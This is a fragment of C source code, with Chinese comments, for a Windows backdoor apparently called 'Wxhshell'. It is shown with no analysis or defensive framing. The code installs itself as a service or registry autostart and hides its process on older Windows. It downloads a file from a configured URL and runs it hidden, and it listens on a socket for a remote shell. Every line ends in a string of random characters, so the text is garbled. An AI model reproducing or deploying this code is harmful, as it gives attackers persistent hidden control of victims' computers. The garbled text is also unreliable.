} PROCESS_BASIC_INFORMATION; I 12Zh7Cc:
ufe|I
PROCNTQSIP NtQueryInformationProcess; 5E]iv^q%
p+8o'dl8=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @ta:9wZ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :%z#s
zYP6m3n
HANDLE hProcess; \FUMfo^
PROCESS_BASIC_INFORMATION pbi; 6J\ 2=c`
P-a8S*RRa
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \WBO(,]V
if(NULL == hInst ) return 0; Y=4
7se=h"
tz8fZ*n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8k3y"239t
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wsgp#W+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q 'd]
]ag{sU@#
if (!NtQueryInformationProcess) return 0; Q5}XD
x|yJCs>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EjFn\|VK
if(!hProcess) return 0; ",&QO7_
Z;V(YK(WO.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {_-T! yb
}S8aR:'
CloseHandle(hProcess); +SF+$^T
7~FHn'xt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4#}aLP
if(hProcess==NULL) return 0; er5!ne
UOFb.FRP>
HMODULE hMod; mI5J]hk
char procName[255]; ;:_AOb31N
unsigned long cbNeeded; J;NIa[a
2Mk;r*FT
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2F>Y{3&
[|ZFei)r
CloseHandle(hProcess); yuy\T(7BN
\I:27:iAL
if(strstr(procName,"services")) return 1; // 以服务启动 kc0MQ TJU
Pn^ `_
return 0; // 注册表启动 sQ340!
} pbEWnx_
g<(!>:h
// 主模块 0VcHz$
6
int StartWxhshell(LPSTR lpCmdLine) umWs8-'Uw
{ S't9F
SOCKET wsl; ^utOVi
BOOL val=TRUE; -yB}(69
int port=0; z]r'8Jc
struct sockaddr_in door; .SjJG67OyA
<!g]q1
if(wscfg.ws_autoins) Install(); \HbZ~I-
"o+?vx-
port=atoi(lpCmdLine); haBmwq(f
C{}PO u
if(port<=0) port=wscfg.ws_port; QK?V^E
^7wqb'xg
WSADATA data; !p/SX>NJ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e2v`
#lrwKHZ+
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~1D^C |%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eJTU'aX*
door.sin_family = AF_INET; dkz%
Y]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ed`"xm
door.sin_port = htons(port); 3!b
$R?kZ
".
tW5O>
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pdRM%ug
closesocket(wsl); b"A,q
return 1; u0Wt"d-=
} ppRmC,0f^
@Suz-j(H
if(listen(wsl,2) == INVALID_SOCKET) { KR#,6
closesocket(wsl); ?).;cG:<
return 1; M i& ;1!bg
} U}5fjY
Wxhshell(wsl); ~jL%l
WSACleanup(); P !i_?M
uVUU1@
return 0; $KYGQP
-y-}g[`
} u:f ]|Q
).;{'8Q
// 以NT服务方式启动 |-x-CSN
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n"htx|v
{ !CUl1L1DSi
DWORD status = 0; 8{jXSCP#
DWORD specificError = 0xfffffff; dhtH&:J<;
).^d3Kp
serviceStatus.dwServiceType = SERVICE_WIN32; ]UkH}Pt'3
serviceStatus.dwCurrentState = SERVICE_START_PENDING; UE'=9{o`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?9()ya-TE
serviceStatus.dwWin32ExitCode = 0; A,.X
serviceStatus.dwServiceSpecificExitCode = 0; m"9f(
serviceStatus.dwCheckPoint = 0; `f; w
serviceStatus.dwWaitHint = 0; $_"u2"p
t`z "=S
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0~fjY^(
if (hServiceStatusHandle==0) return; p
qz~9y~
~{I.qv)>M~
status = GetLastError(); &`I(QY
if (status!=NO_ERROR) D6Ad"|Z
{ Cjf[]aNJe`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9VxM1-8Gs
serviceStatus.dwCheckPoint = 0; RqTO3Kf
serviceStatus.dwWaitHint = 0; Lto*L X
serviceStatus.dwWin32ExitCode = status; eLSzGbKf
serviceStatus.dwServiceSpecificExitCode = specificError; t,7%|
{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .2fvRN92
return; A0Mjk
} X(ph$,[
X}k;(rb
serviceStatus.dwCurrentState = SERVICE_RUNNING; VO:4wC"7
serviceStatus.dwCheckPoint = 0; R'v~:wNTNs
serviceStatus.dwWaitHint = 0; ~A=zjkm
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W<)P@_+-
} 2|>\A.I|=
9~Dg<wQ
// 处理NT服务事件,比如:启动、停止 49MEGl;K0\
VOID WINAPI NTServiceHandler(DWORD fdwControl) F"]P|
{ ~(V\.hq
switch(fdwControl) "Au4&Fu
{ KrpIH6
case SERVICE_CONTROL_STOP: 7.h{"xOx{
serviceStatus.dwWin32ExitCode = 0; vN{@c(=g
serviceStatus.dwCurrentState = SERVICE_STOPPED; n)kbQ]
serviceStatus.dwCheckPoint = 0; rM7qBt
serviceStatus.dwWaitHint = 0; I_<VGU k
{ 6j(/uF4!#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n4kq=Z%
} ^!1!l-
return; wmr?ANk
case SERVICE_CONTROL_PAUSE: ^Gk`n
serviceStatus.dwCurrentState = SERVICE_PAUSED; M1kA- Xr
break; {]Zan'{PCO
case SERVICE_CONTROL_CONTINUE: j?2~6W/[
serviceStatus.dwCurrentState = SERVICE_RUNNING; UGPDwgq\v
break; Vu5?;|^:
case SERVICE_CONTROL_INTERROGATE: BD
C DQ
break; E@SFK=`
}; P1mg;!tq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >1sa*Wf
} : .x((
FU
"|8oFf)l@B
// 标准应用程序主函数 eq6O6-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |R9Lben',
{ ~*iF`T6
LlX)xJ
// 获取操作系统版本 |C4fg6XDL
OsIsNt=GetOsVer(); ^#:;6^Su
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6j6CA?|
IA` voO$
// 从命令行安装 Cb ;6yE)!Z
if(strpbrk(lpCmdLine,"iI")) Install(); z By%=)`
;R*-cm
// 下载执行文件 0zr27ko
if(wscfg.ws_downexe) { hObL=^F
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EsGu#lD2
WinExec(wscfg.ws_filenam,SW_HIDE); O@Aazc5K
} q|D5
A|)
XKjrS
9:
if(!OsIsNt) { Ljy797{f
// 如果时win9x,隐藏进程并且设置为注册表启动 *E/Bfp1LIe
HideProc(); [9">}l
StartWxhshell(lpCmdLine); dOeM0_o
} /whaY4__O\
else ,{0Y:/T'
if(StartFromService()) Z Ts*Y,
// 以服务方式启动 ?Y~t{5NJR
StartServiceCtrlDispatcher(DispatchTable); =*\.zr
else g"P%sA/E+
// 普通方式启动 M|DMoi8x
StartWxhshell(lpCmdLine); MRLiiIrq,5
jSem/;
return 0; 7%^G]AFi
}